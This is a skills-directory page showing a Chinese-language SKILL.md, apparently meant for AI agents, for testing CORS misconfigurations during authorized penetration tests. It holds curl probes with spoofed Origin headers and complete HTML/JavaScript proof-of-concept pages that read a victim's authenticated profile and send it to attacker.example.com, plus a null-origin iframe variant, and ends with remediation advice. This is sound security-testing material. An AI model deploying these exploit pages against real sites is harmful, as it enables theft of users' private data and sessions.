L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

testing-cors-misconfiguration

testing-cors-misconfiguration

在安全评估期间,识别和利用跨源资源共享(CORS)错误配置,这些配置允许未经授权的跨域数据访问和凭证窃取。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: testing-cors-misconfiguration description: 在安全评估期间,识别和利用跨源资源共享(CORS)错误配置,这些配置允许未经授权的跨域数据访问和凭证窃取。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, cors, web-security, owasp, same-origin-policy, burpsuite] version: "1.0" author: mahipal license: Apache-2.0

测试 CORS 错误配置(Testing CORS Misconfiguration)

适用场景

  • 在授权渗透测试中评估 API 端点的跨源访问控制时
  • 测试发起跨源 API 请求的单页应用程序时
  • 评估是否可以从受害者的浏览器会话中窃取敏感数据时
  • 评估多个域共享数据的微服务架构时
  • 对使用 CORS 头部进行跨域通信的应用程序进行安全审计时

前置条件

  • 授权:针对目标的书面渗透测试协议
  • Burp Suite Professional:用于拦截和修改 Origin 头部
  • 带 DevTools 的浏览器:在真实浏览器上下文中观察 CORS 行为
  • 攻击者 Web 服务器:用于托管 CORS 利用 PoC 页面
  • curl:用于手工 CORS 头部测试
  • Python HTTP server:用于本地托管利用页面

工作流程

步骤 1 — 识别目标端点的 CORS 配置

检查所有 API 端点的 CORS 响应头部。

# 使用外部 Origin 头部进行测试
curl -s -I \
  -H "Origin: https://evil.example.com" \
  "https://api.target.example.com/api/user/profile"

# 检查响应中的 CORS 头部:
# Access-Control-Allow-Origin: https://evil.example.com(危险:反射任意来源)
# Access-Control-Allow-Origin: *(若与 credentials 同时存在则危险)
# Access-Control-Allow-Credentials: true(允许携带 Cookie)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header

# 测试多个端点
for endpoint in /api/user/profile /api/user/settings /api/transactions \
  /api/admin/users /api/account/balance; do
  echo "=== $endpoint ==="
  curl -s -I \
    -H "Origin: https://evil.example.com" \
    "https://api.target.example.com$endpoint" | \
    grep -i "access-control"
  echo
done

步骤 2 — 测试来源反射和验证绕过

确认服务器如何验证 Origin 头部。

# 测试 1:任意来源反射
curl -s -I -H "Origin: https://evil.com" \
  "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

# 测试 2:null 来源
curl -s -I -H "Origin: null" \
  "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

# 测试 3:子域匹配绕过
curl -s -I -H "Origin: https://evil.target.example.com" \
  "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

# 测试 4:前缀/后缀匹配绕过
curl -s -I -H "Origin: https://target.example.com.evil.com" \
  "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

curl -s -I -H "Origin: https://eviltarget.example.com" \
  "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

# 测试 5:协议降级
curl -s -I -H "Origin: http://target.example.com" \
  "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

# 测试 6:来源中的特殊字符
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
  "https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

# 测试 7:通配符与 credentials 组合检查
curl -s -I -H "Origin: https://evil.com" \
  "https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# 通配符(*)+ credentials(true)规范上不允许,但部分服务器存在此配置错误

步骤 3 — 测试预检请求处理

评估服务器如何处理 OPTIONS 预检请求。

# 发送预检请求
curl -s -I -X OPTIONS \
  -H "Origin: https://evil.example.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Authorization, Content-Type" \
  "https://api.target.example.com/api/user/profile"

# 检查:
# Access-Control-Allow-Methods:应只列出所需方法
# Access-Control-Allow-Headers:应只列出所需头部
# Access-Control-Max-Age:预检缓存时长(过长则有风险)

# 测试是否允许危险方法
curl -s -I -X OPTIONS \
  -H "Origin: https://evil.example.com" \
  -H "Access-Control-Request-Method: DELETE" \
  "https://api.target.example.com/api/user/profile" | \
  grep -i "access-control-allow-methods"

# 测试预检是否缓存时间过长
curl -s -I -X OPTIONS \
  -H "Origin: https://evil.example.com" \
  -H "Access-Control-Request-Method: GET" \
  "https://api.target.example.com/api/user/profile" | \
  grep -i "access-control-max-age"
# max-age > 86400(1 天)在策略变更后仍允许长时间滥用

步骤 4 — 构造 CORS 利用概念验证

构建 HTML 页面利用 CORS 错误配置窃取数据。

<!-- cors-exploit.html — 托管在攻击者服务器上 -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS 利用概念验证</h1>
<div id="result"></div>
<script>
// 利用:跨域读取受害者的个人资料数据
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    // 数据已成功跨域窃取
    document.getElementById('result').innerText = xhr.responseText;

    // 将数据外传到攻击者服务器
    var exfil = new XMLHttpRequest();
    exfil.open('POST', 'https://attacker.example.com/collect', true);
    exfil.setRequestHeader('Content-Type', 'application/json');
    exfil.send(xhr.responseText);
  }
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true;  // 携带受害者的 Cookie
xhr.send();
</script>
</body>
</html>
<!-- 使用 fetch API 进行利用 -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
  credentials: 'include'
})
.then(response => response.json())
.then(data => {
  // 窃取敏感数据
  fetch('https://attacker.example.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
  console.log('已窃取数据:', data);
});
</script>

步骤 5 — 利用 null 来源漏洞

若 Origin: null 被允许,则通过沙箱 iframe 进行利用。

<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS 利用</h1>
<!--
  沙箱化 iframe 发送 Origin: null 的请求
  若服务器以 Access-Control-Allow-Origin: null 加 credentials 响应,
  则数据可被外传
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  srcdoc="
  <script>
    var xhr = new XMLHttpRequest();
    xhr.onload = function() {
      // 将窃取的数据发送到父页面或攻击者服务器
      fetch('https://attacker.example.com/collect', {
        method: 'POST',
        body: xhr.responseText
      });
    };
    xhr.open('GET', 'https://api.target.example.com/api/user/profile');
    xhr.withCredentials = true;
    xhr.send();
  </script>
"></iframe>
</body>
</html>

<!-- 替代方案:使用 data: URI 构造 null 来源 -->
<!-- 在浏览器中打开:data:text/html,<script>...</script> -->

步骤 6 — 测试通过 CORS 访问内网

检查 CORS 是否允许来自内网来源的访问(可通过 XSS 利用)。

# 测试内网/开发环境来源
INTERNAL_ORIGINS=(
  "http://localhost"
  "http://localhost:3000"
  "http://localhost:8080"
  "http://127.0.0.1"
  "http://192.168.1.1"
  "http://10.0.0.1"
  "https://staging.target.example.com"
  "https://dev.target.example.com"
  "https://test.target.example.com"
)

for origin in "${INTERNAL_ORIGINS[@]}"; do
  echo -n "$origin: "
  curl -s -I -H "Origin: $origin" \
    "https://api.target.example.com/api/user/profile" | \
    grep -i "access-control-allow-origin" | tr -d '\r'
  echo
done

# 若允许内网来源且存在 XSS:
# 1. 在 http://subdomain.target.example.com 找到 XSS 漏洞
# 2. 利用 XSS 向 api.target.example.com 发起 CORS 请求
# 3. 通过 XSS + CORS 链路外传数据

核心概念

概念定义
同源策略(Same-Origin Policy)浏览器安全模型,防止一个源的脚本访问另一个源的数据
CORS允许服务器指定哪些来源可以访问其资源的机制
来源反射(Origin Reflection)服务器将请求 Origin 头部镜像到 ACAO 响应头部(危险)
null 来源(Null Origin)来自沙箱 iframe、data URI 和重定向的特殊来源值
预检请求(Preflight Request)某些跨源请求前发送的 OPTIONS 请求,用于检查权限
带凭证请求(Credentialed Requests)包含 Cookie 的跨源请求,需要明确的 ACAO + ACAC 头部
通配符 CORS(Wildcard CORS)Access-Control-Allow-Origin: * 允许任意来源但禁止带凭证

工具与系统

工具用途
Burp Suite Professional拦截请求并修改 Origin 头部
CORScanner自动化 CORS 错误配置扫描器(pip install corscanner)
cors-scanner基于 Node.js 的 CORS 测试工具
浏览器 DevTools在真实浏览器上下文中监控 CORS 错误和网络请求
Python http.server本地托管 CORS 利用 PoC 页面
OWASP ZAP自动检测 CORS 错误配置

常见场景

场景 1:完整来源反射

API 在 Access-Control-Allow-Origin 中反射任意 Origin 头部,并设置 Access-Control-Allow-Credentials: true。任何网站都可以读取已认证的 API 响应,从而窃取用户数据。

场景 2:允许 null 来源

服务器允许带凭证的 Origin: null。攻击者通过沙箱化 iframe 发送携带凭证的 API 请求并读取响应数据。

场景 3:子域通配符信任

CORS 策略允许 *.target.example.com。攻击者在 forum.target.example.com 上找到 XSS 漏洞,并利用它向 api.target.example.com 发起跨源请求,通过受信任子域窃取用户数据。

场景 4:来源验证正则绕过

服务器使用正则 target\.example\.com 验证来源,但未锚定正则表达式。attackertarget.example.com 匹配成功并被允许访问。

输出格式

## CORS 错误配置发现

**漏洞**:CORS 来源反射与 Credentials
**严重性**:High(CVSS 8.1)
**位置**:api.target.example.com 上的所有 /api/* 端点
**OWASP 类别**:A01:2021 - 访问控制缺陷

### 观察到的 CORS 配置
| 头部 | 值 |
|--------|-------|
| Access-Control-Allow-Origin | [反射请求 Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |

### 来源验证结果
| 测试来源 | 是否反射 | 是否带凭证 |
|---------------|-----------|-------------|
| https://evil.com | 是 | 是 |
| null | 是 | 是 |
| http://localhost | 是 | 是 |
| https://evil.target.example.com | 是 | 是 |

### 影响
- 任何网站均可读取受害者浏览器中已认证的 API 响应
- 用户个人资料数据(邮箱、电话、地址)可被外传
- Session token 通过 X-Auth-Token 头部暴露
- CSRF 防护被绕过(攻击者可读取并提交 CSRF token)

### 建议
1. 实施严格的受信任来源白名单
2. 切勿在 Access-Control-Allow-Origin 中反射任意 Origin 值
3. 不允许 Origin: null 与 credentials 同时使用
4. 使用精确字符串匹配而非正则子字符串匹配来验证来源
5. 将 Access-Control-Max-Age 设置为合理值(600 秒)
Skills enregistrées